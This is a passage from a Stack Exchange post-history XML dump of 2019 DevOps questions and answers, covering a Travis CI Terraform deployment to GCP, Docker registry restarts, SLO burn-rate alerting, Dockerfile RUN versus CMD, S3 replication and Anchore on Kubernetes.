executables/terraform /usr/local/bin/terraform;&#xD;&#xA;            sudo chmod +x /usr/local/bin/terraform;&#xD;&#xA;            rm terraform_${TERRAFORM_VERSION}_linux_amd64.zip;&#xD;&#xA;            rm -rf executables/;&#xD;&#xA;          fi&#xD;&#xA;      before_script:&#xD;&#xA;        - git clone https://$GITHUB_TOKEN@github.com/{{github-user}}/devops_configurations.git ../devops_configurations/&#xD;&#xA;        - cd ../devops_configurations/terraform/&#xD;&#xA;        - mkdir {{service-account-folder}}&#xD;&#xA;        - echo $GCP_MAIN_SERVICE_ACCOUNT | base64 --decode &gt; {{service-account-path}}&#xD;&#xA;        - gcloud auth activate-service-account --key-file {{service-account-path}}&#xD;&#xA;        - export TF_CREDS={{service-account-path}}&#xD;&#xA;      script:&#xD;&#xA;        - terraform init&#xD;&#xA;        - terraform plan -var-file variables.tfvars&#xD;&#xA;          -var=&quot;react_docker_image=$DOCKER_HUB_USER/test_react:$(echo $TRAVIS_TAG | tr &quot;/&quot; .)&quot;&#xD;&#xA;          -var=&quot;vue_docker_image=$(terraform output terraform_gcp_gke_project_id || echo '$DOCKER_HUB_USER/test_vue:dev.v0.0.1-test')&quot;&#xD;&#xA;          -var=&quot;angular_docker_image=$(terraform output terraform_gcp_gke_project_id || echo '$DOCKER_HUB_USER/test_angular:dev.v0.0.1-test')&quot;&#xD;&#xA;          -target kubenetes_deployment.react-deployment&#xD;&#xA;        - terraform apply -var-file variables.tfvars&#xD;&#xA;          -var=&quot;react_docker_image=$DOCKER_HUB_USER/test_react:$(echo $TRAVIS_TAG | tr &quot;/&quot; .)&quot;&#xD;&#xA;          -var=&quot;vue_docker_image=$(terraform output terraform_gcp_gke_project_id || echo '$DOCKER_HUB_USER/test_vue:dev.v0.0.1-test')&quot;&#xD;&#xA;          -var=&quot;angular_docker_image=$(terraform output terraform_gcp_gke_project_id || echo '$DOCKER_HUB_USER/test_angular:dev.v0.0.1-test')&quot;&#xD;&#xA;          -target kubenetes_deployment.react-deployment&#xD;&#xA;      after_script:&#xD;&#xA;        - rm -rf {{service-account-folder}}&#xD;&#xA;        - unset TF_CREDS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any help would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="24177" PostHistoryTypeId="1" PostId="8294" RevisionGUID="1d49789f-6f7c-4c14-9b3f-ff59c6ae1022" CreationDate="2019-06-04T10:26:00.853" UserId="9556" Text="GCE metadata not defined on Travis CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="24178" PostHistoryTypeId="3" PostId="8294" RevisionGUID="1d49789f-6f7c-4c14-9b3f-ff59c6ae1022" CreationDate="2019-06-04T10:26:00.853" UserId="9556" Text="&lt;terraform&gt;&lt;google-cloud-platform&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24179" PostHistoryTypeId="5" PostId="8243" RevisionGUID="ee4a67b5-8a5b-43d4-8be7-0d6a3f81be9f" CreationDate="2019-06-04T10:35:39.053" UserId="15152" Comment="added 218 characters in body" Text="I am hosting an own registry.  &#xD;&#xA;After rebooting the Server my registry container is unable to start.&#xD;&#xA;&#xD;&#xA;I used this command to start the registry&#xD;&#xA;```&#xD;&#xA;docker run -d -p 5000:5000 --name registry -v /var/lib/registry/:/var/lib/registry -v /root/certs:/certs -v /root/auth/:/auth -eEGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -e &quot;REGISTRY_AUTH=htpasswd&quot; -e &quot;REGISTRY_AUTH=htpasswd&quot; -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -e &quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm&quot; --restart always registry:2.7.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After a reboot i get this message when i try &quot;docker start registry&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: OCI runtime create failed: container with id exists: dfb0bef21bdfc8a89b59498befd37f83513e75527c0beb552e0400df2a2b7c7d: unknown&#xD;&#xA;Error: failed to start containers: registry&#xD;&#xA;&#xD;&#xA;Starting a new container works fine.  &#xD;&#xA;How can a fix, it and sould the container not start by itself because of &quot;--restart alway&quot;&#xD;&#xA;&#xD;&#xA;    docker --version&#xD;&#xA;Docker version 18.09.6, build 481bc77&#xD;&#xA;&#xD;&#xA;Thx for your help.&#xD;&#xA;&#xD;&#xA;### Update&#xD;&#xA;Intesting news I have written an init script to to the job,&#xD;&#xA;but the problem is exactly the same.  The container exists but isn't started.&#xD;&#xA;If I try to start it, I get the error message from above.&#xD;&#xA;&#xD;&#xA;On the boot screen in get this information.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;So the docker daemon seam to be not ready.  &#xD;&#xA;Do you have any suggestions why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/xAfdX.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24181" PostHistoryTypeId="2" PostId="8295" RevisionGUID="6138243c-634f-4698-93a9-6b87578b8afe" CreationDate="2019-06-04T13:15:36.510" UserId="15268" Text="I found the solution.&#xD;&#xA;&#xD;&#xA;As build artifact you need to publish, `firebase.json`, `.firebaserc` and whole `functions` folder including `package.json` (without `node_modules`)&#xD;&#xA;&#xD;&#xA;Then in release using `sudo firebase deploy --token $(firebase-token) --project $(firebase-project) --only functions --force` " ContentLicense="CC BY-SA 4.0" />
  <row Id="24182" PostHistoryTypeId="2" PostId="8296" RevisionGUID="8c07d17f-1199-488f-91f2-024e001acf39" CreationDate="2019-06-04T14:31:46.313" UserId="15202" Text="Consider a service using the alerting rule from the book:&#xD;&#xA;&#xD;&#xA;`job:slo_errors_per_request:ratio_rate1h{job=&quot;myjob&quot;} &gt; 36 * 0.001`&#xD;&#xA;&#xD;&#xA;We alert when the 1h mean error rate goes over 3.6%, or 0.036 (5% of a 99.9% SLO defined over a 30 day period consumed in 1h)&#xD;&#xA;&#xD;&#xA;Imagine a service with a constant rate of requests, that starts serving 100% errors at t=0 minutes&#xD;&#xA;&#xD;&#xA;t=-2, errors=0, total=1  &#xD;&#xA;t=-1, errors=0, total=1  &#xD;&#xA;t=0, errors=1, total=1  &#xD;&#xA;t=1, errors=1, total=1   &#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;If our monitoring system evaluates its rules every minute, we get:&#xD;&#xA;&#xD;&#xA;at t=-1, our 1h average error rate is 0  &#xD;&#xA;at t=0, the 1h error rate is 1/60 = 1.666%  &#xD;&#xA;at t=1, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;at t=2, the 1h error rate is 3/60 = 5%&#xD;&#xA;&#xD;&#xA;Our alert fires 2 minutes after the event started.&#xD;&#xA;&#xD;&#xA;Let's assume our incident continues until t=60.&#xD;&#xA;&#xD;&#xA;at t=60, our 1h error rate is 100%: a burn rate of 1000, for a 99.9% SLO  &#xD;&#xA;at t=61, the 1h error rate drops to 59/60 = 98.333%  &#xD;&#xA;at t=62, the 1h error rate is 58/60 = 96.666%  &#xD;&#xA;at t=118, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;&#xD;&#xA;At this point, our 1h error rate is below the alerting threshold, and so the alert is no longer in the firing state, 58 minutes after the end of the event.&#xD;&#xA;&#xD;&#xA;at t=120, our 1h error rate finally drops back to 0%, as no errors have been observed in the last hour." ContentLicense="CC BY-SA 4.0" />
  <row Id="24183" PostHistoryTypeId="5" PostId="8296" RevisionGUID="bb0bef8b-a5cd-4221-89f3-d0e8e2aeb488" CreationDate="2019-06-04T14:59:27.830" UserId="15202" Comment="added 524 characters in body" Text="Consider a service using the alerting rule from the book:&#xD;&#xA;&#xD;&#xA;`job:slo_errors_per_request:ratio_rate1h{job=&quot;myjob&quot;} &gt; 36 * 0.001`&#xD;&#xA;&#xD;&#xA;The burn rate is the rate at which we are exhausting our error budget. A burn rate of 1 means that we'll have exactly exhausted our error budget at the end of our reporting period. A burn rate of 2 means that we'll have exhausted our budget half way through our reporting period.&#xD;&#xA;&#xD;&#xA;For a 99.9% SLO, an error rate of 0.1% constitutes a burn rate of 1. An error rate of 1% means a burn rate of 10, and a 100% error rate means a burn rate of 1000&#xD;&#xA;&#xD;&#xA;If we want to alert when we've exhausted 5% of our 30 day error budget in 1 hour, then that means we are burning error budget at a rate of 36, which translates to an error rate of 3.6% for a 99.9% SLO.&#xD;&#xA;&#xD;&#xA;Imagine a service with a constant rate of requests, that starts serving 100% errors at t=0 minutes&#xD;&#xA;&#xD;&#xA;t=-2, errors=0, total=1  &#xD;&#xA;t=-1, errors=0, total=1  &#xD;&#xA;t=0, errors=1, total=1  &#xD;&#xA;t=1, errors=1, total=1   &#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;If our monitoring system evaluates its rules every minute, we get:&#xD;&#xA;&#xD;&#xA;at t=-1, our 1h average error rate is 0  &#xD;&#xA;at t=0, the 1h error rate is 1/60 = 1.666%  &#xD;&#xA;at t=1, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;at t=2, the 1h error rate is 3/60 = 5%&#xD;&#xA;&#xD;&#xA;Our alert fires 2 minutes after the event started.&#xD;&#xA;&#xD;&#xA;Let's assume our incident continues until t=60.&#xD;&#xA;&#xD;&#xA;at t=60, our 1h error rate is 100%: a burn rate of 1000, for a 99.9% SLO  &#xD;&#xA;at t=61, the 1h error rate drops to 59/60 = 98.333%  &#xD;&#xA;at t=62, the 1h error rate is 58/60 = 96.666%  &#xD;&#xA;at t=118, the 1h error rate is 2/60 = 3.333%  &#xD;&#xA;&#xD;&#xA;At this point, our 1h error rate is below the alerting threshold, and so the alert is no longer in the firing state, 58 minutes after the end of the event.&#xD;&#xA;&#xD;&#xA;at t=120, our 1h error rate finally drops back to 0%, as no errors have been observed in the last hour." ContentLicense="CC BY-SA 4.0" />
  <row Id="24184" PostHistoryTypeId="2" PostId="8297" RevisionGUID="0296bf4b-113a-42c9-9acf-e17c07cc62ef" CreationDate="2019-06-04T17:03:35.370" UserId="15280" Text="I am new to Google cloud platform and still learning. I am interested in organizations, where I will have multiple accounts in multiple regions. Is there a way I can query resources based on some configuration parameters across all my accounts? Example - list all Virtual machines which are in US West region, micro size and currently stopped." ContentLicense="CC BY-SA 4.0" />
  <row Id="24185" PostHistoryTypeId="1" PostId="8297" RevisionGUID="0296bf4b-113a-42c9-9acf-e17c07cc62ef" CreationDate="2019-06-04T17:03:35.370" UserId="15280" Text="Google Cloud search resources in organizations" ContentLicense="CC BY-SA 4.0" />
  <row Id="24186" PostHistoryTypeId="3" PostId="8297" RevisionGUID="0296bf4b-113a-42c9-9acf-e17c07cc62ef" CreationDate="2019-06-04T17:03:35.370" UserId="15280" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24187" PostHistoryTypeId="2" PostId="8298" RevisionGUID="54e4399c-4fb1-4edc-a95d-9162f6e94af0" CreationDate="2019-06-04T17:24:38.967" UserId="15194" Text="I am going to change my permission of files to `600`. The following command works perfectly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN /bin/bash -c 'chmod 600 /root/.ssh/config'&#xD;&#xA;&#xD;&#xA;But this one failed&#xD;&#xA;&#xD;&#xA;    CMD /bin/bash -c 'chmod 600 /root/.ssh/config'&#xD;&#xA;&#xD;&#xA;In the beginning, I thought the shell environment isn't `bash` so caused the error. However, adding `bin/bash` didn't solve the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24188" PostHistoryTypeId="1" PostId="8298" RevisionGUID="54e4399c-4fb1-4edc-a95d-9162f6e94af0" CreationDate="2019-06-04T17:24:38.967" UserId="15194" Text="Dockerfile chmod with RUN and CMD" ContentLicense="CC BY-SA 4.0" />
  <row Id="24189" PostHistoryTypeId="3" PostId="8298" RevisionGUID="54e4399c-4fb1-4edc-a95d-9162f6e94af0" CreationDate="2019-06-04T17:24:38.967" UserId="15194" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24190" PostHistoryTypeId="2" PostId="8299" RevisionGUID="ec4e38e4-eabf-440d-a908-8645bee2adfb" CreationDate="2019-06-04T17:52:23.137" UserId="15283" Text="Note: Don’t confuse RUN with CMD. RUN actually runs a command and commits the result; CMD does not execute anything at build time, but specifies the intended command for the image. &#xD;&#xA;&#xD;&#xA;[reference][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/builder/#cmd" ContentLicense="CC BY-SA 4.0" />
  <row Id="24191" PostHistoryTypeId="50" PostId="6916" RevisionGUID="e702016a-5dbe-4ce4-995c-3ffa979a5fec" CreationDate="2019-06-04T18:04:06.690" UserId="-1" />
  <row Id="24194" PostHistoryTypeId="2" PostId="8302" RevisionGUID="4efd7187-30ab-4d95-8641-08931a19cda8" CreationDate="2019-06-04T20:04:07.147" UserId="9556" Text="Setting &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export GOOGLE_APPLICATION_CREDENTIALS=${TF_CREDS}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;solved the issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="24195" PostHistoryTypeId="4" PostId="8293" RevisionGUID="0bb214f2-9684-4441-b761-2ed20069cb55" CreationDate="2019-06-04T23:10:33.077" UserId="210" Comment="edited title; edited tags" Text="How to download a VM image from GCP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24196" PostHistoryTypeId="6" PostId="8293" RevisionGUID="0bb214f2-9684-4441-b761-2ed20069cb55" CreationDate="2019-06-04T23:10:33.077" UserId="210" Comment="edited title; edited tags" Text="&lt;packer&gt;&lt;gcp&gt;&lt;virtualbox&gt;&lt;images&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24197" PostHistoryTypeId="5" PostId="8293" RevisionGUID="0bb214f2-9684-4441-b761-2ed20069cb55" CreationDate="2019-06-04T23:10:33.077" UserId="210" Comment="edited title; edited tags" Text="I do not see a download button. I would like to download a VM image that was created on GCP using Packer and I would like to run it locally in Virtualbox." ContentLicense="CC BY-SA 4.0" />
  <row Id="24200" PostHistoryTypeId="2" PostId="8303" RevisionGUID="06ef844b-084e-4c27-b29d-ccb5675049af" CreationDate="2019-06-05T14:55:09.417" UserId="5190" Text="&quot;Multiple accounts in multiple regions&quot; is an AWS idea which is really antithetical to how things are done in Google Cloud. GCP gives you a lot of tools to slice-and-dice your systems, but none of them work in the &quot;multiple accounts/multiple regions&quot; paradigm.&#xD;&#xA;&#xD;&#xA;But if you insist on going that route, your best bet may be to create custom bash scripts which harness `gcloud`, the CLI for GCP. It is a pleasure to use, and could probably do any sort of automation, even across accounts, that you have in mind." ContentLicense="CC BY-SA 4.0" />
  <row Id="24201" PostHistoryTypeId="2" PostId="8304" RevisionGUID="193fbe6e-796b-4e49-b350-32db2b302e0f" CreationDate="2019-06-05T17:08:04.153" UserId="15299" Text="I've followed the documentation to set up cross-region replication to another AWS account.  It looked like it was working correctly until I noticed an entire prefix was missing.&#xD;&#xA;&#xD;&#xA;Here is my destination bucket policy:&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2008-10-17&quot;,&#xD;&#xA;    &quot;Id&quot;: &quot;S3-Console-Replication-Policy&quot;,&#xD;&#xA;    &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;S3ReplicationPolicyStmt1&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;AWS&quot;: &quot;arn:aws:iam::&lt;awsaccount&gt;:root&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;s3:GetBucketVersioning&quot;,&#xD;&#xA;                &quot;s3:PutBucketVersioning&quot;,&#xD;&#xA;                &quot;s3:ReplicateObject&quot;,&#xD;&#xA;                &quot;s3:ReplicateDelete&quot;,&#xD;&#xA;                &quot;s3:ObjectOwnerOverrideToBucketOwner&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Resource&quot;: [&#xD;&#xA;                &quot;arn:aws:s3:::bucket-backup&quot;,&#xD;&#xA;                &quot;arn:aws:s3:::bucket-backup/*&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Looking further into it, I have also realized this particular prefix is where we store our public-access data, so maybe that's related somehow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24202" PostHistoryTypeId="1" PostId="8304" RevisionGUID="193fbe6e-796b-4e49-b350-32db2b302e0f" CreationDate="2019-06-05T17:08:04.153" UserId="15299" Text="Why isn't my S3 Cross Region Replication working for some files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24203" PostHistoryTypeId="3" PostId="8304" RevisionGUID="193fbe6e-796b-4e49-b350-32db2b302e0f" CreationDate="2019-06-05T17:08:04.153" UserId="15299" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24204" PostHistoryTypeId="2" PostId="8305" RevisionGUID="0141f826-c69e-4470-9d75-6abefe4ce9e7" CreationDate="2019-06-05T17:08:04.153" UserId="15299" Text="So I verified it was definitely public access causing the issue somehow; uploading an identical file but with the public read acl on totally broke it.&#xD;&#xA;&#xD;&#xA;I worked with AWS support and they noticed I had &quot;Block public access&quot; enabled in the destination bucket.  Apparently rather than replicating the object and then making it private, it just fails replication.&#xD;&#xA;&#xD;&#xA;tl;dr if you want to replicate objects that are public read, don't block public read at the destination." ContentLicense="CC BY-SA 4.0" />
  <row Id="24205" PostHistoryTypeId="6" PostId="8298" RevisionGUID="f947589f-9eda-4b61-83e4-f4e07bba1e61" CreationDate="2019-06-05T19:58:56.273" UserId="210" Comment="edited tags" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24206" PostHistoryTypeId="4" PostId="8298" RevisionGUID="f947589f-9eda-4b61-83e4-f4e07bba1e61" CreationDate="2019-06-05T19:58:56.273" UserId="210" Comment="edited tags" Text="What is the difference between RUN and CMD in a Dockerfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24207" PostHistoryTypeId="2" PostId="8306" RevisionGUID="2a1a8b83-e18c-45d2-8e3f-2ff7419b039a" CreationDate="2019-06-05T20:47:02.820" UserId="10868" Text="I'm using the [GitHub plugin][1] with Jenkins, and I'm trying to figure out how I can access the webhook payload. I'm aware that the Generic Webhook Trigger has this ability, as well as the GitHub Pull Request plugin, but this plugin seems more suitable to an automated workflow.&#xD;&#xA;&#xD;&#xA;On that note, what I'm looking at is importing the class and parsing the payload, similar to what is done in the [troubleshooting section here][2].&#xD;&#xA;&#xD;&#xA;This sample works, but only prints the class:&#xD;&#xA;&#xD;&#xA;    import org.kohsuke.stapler.StaplerRequest&#xD;&#xA;    import org.jenkinsci.plugins.github.webhook.GHEventPayload&#xD;&#xA;    import org.jenkinsci.plugins.github.webhook.GHEventPayload.PayloadHandler&#xD;&#xA;    &#xD;&#xA;    payload = new PayloadHandler()&#xD;&#xA;    println(payload)&#xD;&#xA;&#xD;&#xA;This sample wants more info, but I'm not handy enough with Java to know what it's asking for:&#xD;&#xA;&#xD;&#xA;    import org.kohsuke.stapler.StaplerRequest&#xD;&#xA;    import org.jenkinsci.plugins.github.webhook.GHEventPayload&#xD;&#xA;    import org.jenkinsci.plugins.github.webhook.GHEventPayload.PayloadHandler&#xD;&#xA;    &#xD;&#xA;    payload = new PayloadHandler()&#xD;&#xA;    println(payload.parse())&#xD;&#xA;&#xD;&#xA;[According to the source code][3], that's the method I need, but it produces the following error:&#xD;&#xA;&#xD;&#xA;    hudson.remoting.ProxyException: groovy.lang.MissingMethodException: No signature of method: org.jenkinsci.plugins.github.webhook.GHEventPayload$PayloadHandler.parse() is applicable for argument types: (java.lang.Class) values: [interface org.jenkinsci.plugins.github.webhook.GHEventPayload]&#xD;&#xA;    Possible solutions: parse(org.kohsuke.stapler.StaplerRequest, java.lang.annotation.Annotation, java.lang.Class, java.lang.String), parse(org.kohsuke.stapler.StaplerRequest, org.jenkinsci.plugins.github.webhook.GHEventPayload, java.lang.Class, java.lang.String), use([Ljava.lang.Object;), use(java.lang.Class, groovy.lang.Closure), wait(), grep()&#xD;&#xA;&#xD;&#xA;Has anyone tried something like this before?&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/github&#xD;&#xA;  [2]: https://support.cloudbees.com/hc/en-us/articles/224621648-GitHub-Webhook-Troubleshooting&#xD;&#xA;  [3]: https://github.com/jenkinsci/github-plugin/blob/master/src/main/java/org/jenkinsci/plugins/github/webhook/GHEventPayload.java#L61-L78" ContentLicense="CC BY-SA 4.0" />
  <row Id="24208" PostHistoryTypeId="1" PostId="8306" RevisionGUID="2a1a8b83-e18c-45d2-8e3f-2ff7419b039a" CreationDate="2019-06-05T20:47:02.820" UserId="10868" Text="GitHub Payload in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="24209" PostHistoryTypeId="3" PostId="8306" RevisionGUID="2a1a8b83-e18c-45d2-8e3f-2ff7419b039a" CreationDate="2019-06-05T20:47:02.820" UserId="10868" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;github&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24210" PostHistoryTypeId="2" PostId="8307" RevisionGUID="42651cdb-092c-40fb-b3a9-101407e6791f" CreationDate="2019-06-05T22:11:50.243" UserId="15301" Text="Kubernetes version 1.14.2 (Client) 1.14.1 (Server)&#xD;&#xA;Anchore Chart anchore-engine.1.0.5 App Version 0.4.0&#xD;&#xA;&#xD;&#xA;I'm trying to deploy Anchore via Helm to a Kubernetes cluster, but I'm getting failures in every pod.&#xD;&#xA;&#xD;&#xA;Helm is properly configured and I've confirmed this by installing several other releases. I install Anchore with&#xD;&#xA;&#xD;&#xA;    helm install --name anchore-release stable/anchore-engine&#xD;&#xA;&#xD;&#xA;Checking pods confirms all of the pods install&#xD;&#xA;&#xD;&#xA;    anchore-release-anchore-engine-analyzer-659854799f-qkvdn     0/1     Running   0          108s&#xD;&#xA;    anchore-release-anchore-engine-api-5d75bbd9d9-9hnms          0/1     Running   0          108s&#xD;&#xA;    anchore-release-anchore-engine-catalog-58d7f8bfcd-7d2jz      0/1     Running   0          108s&#xD;&#xA;    anchore-release-anchore-engine-policy-6d7579d494-zcg4g       0/1     Running   0          108s&#xD;&#xA;    anchore-release-anchore-engine-simplequeue-d8f4f4dbc-62hst   0/1     Running   0          108s&#xD;&#xA;&#xD;&#xA;However, none ever enter Ready. Taking a peek at any one of them reveals the issue.&#xD;&#xA;&#xD;&#xA;         Type     Reason     Age                   From                Message&#xD;&#xA;      ----     ------     ----                  ----                -------&#xD;&#xA;      Normal   Pulled     17m                   kubelet, XXXXXX  Container image &quot;docker.io/anchore/anchore-engine:v0.4.0&quot; already present on machine&#xD;&#xA;      Normal   Created    17m                   kubelet, XXXXXX  Created container anchore-engine-analyzer&#xD;&#xA;      Normal   Started    17m                   kubelet, XXXXXX  Started container anchore-engine-analyzer&#xD;&#xA;      Normal   Scheduled  17m                   default-scheduler   Successfully assigned default/anchore-release-anchore-engine-analyzer-659854799f-9qdpq to XXXXXX&#xD;&#xA;      Warning  Unhealthy  15m (x5 over 15m)     kubelet, XXXXXX  Liveness probe failed: Get http://XXX.XXX.XXX.XXX:8084/health: dial tcp XXX.XXX.XXX.XXX:8084: connect: connection refused&#xD;&#xA;      Warning  Unhealthy  2m50s (x91 over 17m)  kubelet, XXXXXX  Readiness probe failed: Get http://XXX.XXX.XXX.XXX:8084/health: dial tcp XXX.XXX.XXX.XXX:8084: connect: connection refused&#xD;&#xA;&#xD;&#xA;All of the pod experience liveness/readiness probe failures. In order to examine this closer I moved onto the master node and attempted to query these ports manually. I found that all of the Anchore pods were pingable but had exposed no ports. There is no firewall running anywhere within the cluster, and I installed an Nginx pod to confirm that. The other pod was able to expose and access ports in the 8000 range. &#xD;&#xA;&#xD;&#xA;Flannel is serving as the networking manager within the cluster, and due to the Nginx test-deployment properly exposing its ports I'm inclined to believe it's set up properly.&#xD;&#xA;&#xD;&#xA;Is anyone familiar with what could be cause the Anchore pods to not expose any of their ports, or another issue which could give the appearance of that? As additional information, here's an example description of one of the pods.&#xD;&#xA;&#xD;&#xA;    Name:               anchore-release-anchore-engine-analyzer-659854799f-9qdpq&#xD;&#xA;    Namespace:          default&#xD;&#xA;    Priority:           0&#xD;&#xA;    PriorityClassName:  &lt;none&gt;&#xD;&#xA;    Node:               XXXXXX/XXX.XXX.XXX.XXX&#xD;&#xA;    Start Time:         Wed, 05 Jun 2019 17:41:11 -0400&#xD;&#xA;    Labels:             app=anchore-release-anchore-engine&#xD;&#xA;                        component=analyzer&#xD;&#xA;                        pod-template-hash=659854799f&#xD;&#xA;    Annotations:        &lt;none&gt;&#xD;&#xA;    Status:             Running&#xD;&#xA;    IP:                 XXX.XXX.XXX.XXX&#xD;&#xA;    Controlled By:      ReplicaSet/anchore-release-anchore-engine-analyzer-659854799f&#xD;&#xA;    Containers:&#xD;&#xA;      anchore-engine-analyzer:&#xD;&#xA;        Container ID:  docker://977890fe98a69f6399db55a06e26911befa2e94f98a1dc2d102041132961364e&#xD;&#xA;        Image:         docker.io/anchore/anchore-engine:v0.4.0&#xD;&#xA;        Image ID:      docker-pullable://docker.io/anchore/anchore-engine@sha256:1db43d98a0895cb266658b1cee9db275227b585f19590824ece58ad497bb772f&#xD;&#xA;        Port:          8084/TCP&#xD;&#xA;        Host Port:     0/TCP&#xD;&#xA;        Command:&#xD;&#xA;          anchore-manager&#xD;&#xA;        Args:&#xD;&#xA;          service&#xD;&#xA;          start&#xD;&#xA;          analyzer&#xD;&#xA;        State:          Running&#xD;&#xA;          Started:      Wed, 05 Jun 2019 17:41:13 -0400&#xD;&#xA;        Ready:          False&#xD;&#xA;        Restart Count:  0&#xD;&#xA;        Liveness:       http-get http://:analyzer-api/health delay=120s timeout=10s period=10s #success=1 #failure=6&#xD;&#xA;        Readiness:      http-get http://:analyzer-api/health delay=0s timeout=10s period=10s #success=1 #failure=3&#xD;&#xA;        Environment Variables from:&#xD;&#xA;          anchore-release-anchore-engine  Secret     Optional: false&#xD;&#xA;          anchore-release-anchore-engine  ConfigMap  Optional: false&#xD;&#xA;        Environment:&#xD;&#xA;          ANCHORE_POD_NAME:  anchore-release-anchore-engine-analyzer-659854799f-9qdpq (v1:metadata.name)&#xD;&#xA;        Mounts:&#xD;&#xA;          /analysis_scratch from analyzer-scratch (rw)&#xD;&#xA;          /config/config.yaml from config-volume (rw,path=&quot;config.yaml&quot;)&#xD;&#xA;          /var/run/secrets/kubernetes.io/serviceaccount from default-token-nzsfd (ro)&#xD;&#xA;    Conditions:&#xD;&#xA;      Type              Status&#xD;&#xA;      Initialized       True&#xD;&#xA;      Ready             False&#xD;&#xA;      ContainersReady   False&#xD;&#xA;      PodScheduled      True&#xD;&#xA;    Volumes:&#xD;&#xA;      config-volume:&#xD;&#xA;        Type:      ConfigMap (a volume populated by a ConfigMap)&#xD;&#xA;        Name:      anchore-release-anchore-engine&#xD;&#xA;        Optional:  false&#xD;&#xA;      analyzer-scratch:&#xD;&#xA;        Type:       EmptyDir (a temporary directory that shares a pod's lifetime)&#xD;&#xA;        Medium:&#xD;&#xA;        SizeLimit:  &lt;unset&gt;&#xD;&#xA;      default-token-nzsfd:&#xD;&#xA;        Type:        Secret (a volume populated by a Secret)&#xD;&#xA;        SecretName:  default-token-nzsfd&#xD;&#xA;        Optional:    false&#xD;&#xA;    QoS Class:       BestEffort&#xD;&#xA;    Node-Selectors:  &lt;none&gt;&#xD;&#xA;    Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s&#xD;&#xA;                     node.kubernetes.io/unreachable:NoExecute for 300s&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;I appreciate any input. Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="24211" PostHistoryTypeId="1" PostId="8307" RevisionGUID="42651cdb-092c-40fb-b3a9-101407e6791f" CreationDate="2019-06-05T22:11:50.243" UserId="15301" Text="Deploying Anchore to Kubernetes Cluster using Helm" ContentLicense="CC BY-SA 4.0" />
  <row Id="24212" PostHistoryTypeId="3" PostId="8307" RevisionGUID="42651cdb-092c-40fb-b3a9-101407e6791f" CreationDate="2019-06-05T22:11:50.243" UserId="15301" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24213" PostHistoryTypeId="2" PostId="8308" RevisionGUID="426cdc61-6fea-4d6a-9ea8-8d6fbc0c05e6" CreationDate="2019-06-06T00:57:07.153" UserId="7730" Text="TL;DR: `RUN` performs the step during the image build, `CMD` is the default command when you start a container.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The detailed explanation:&#xD;&#xA;&#xD;&#xA;The **`RUN`** command creates a temporary container based off of the previous step of the build, executes your selected command, and when the command returns it captures the filesystem changes as a new layer of your image. Run is the equivalent of doing a `docker run` + `docker commit` to generate your image, but with a reproducible process.&#xD;&#xA;&#xD;&#xA;The **`CMD`** command replaces the current value of the image metadata for the `command` value that you can see when you inspect the image. You can only have one value for `CMD` for your image. You can also easily override the value of the image command by passing any string after the image name, e.g. `docker run busybox echo hello` 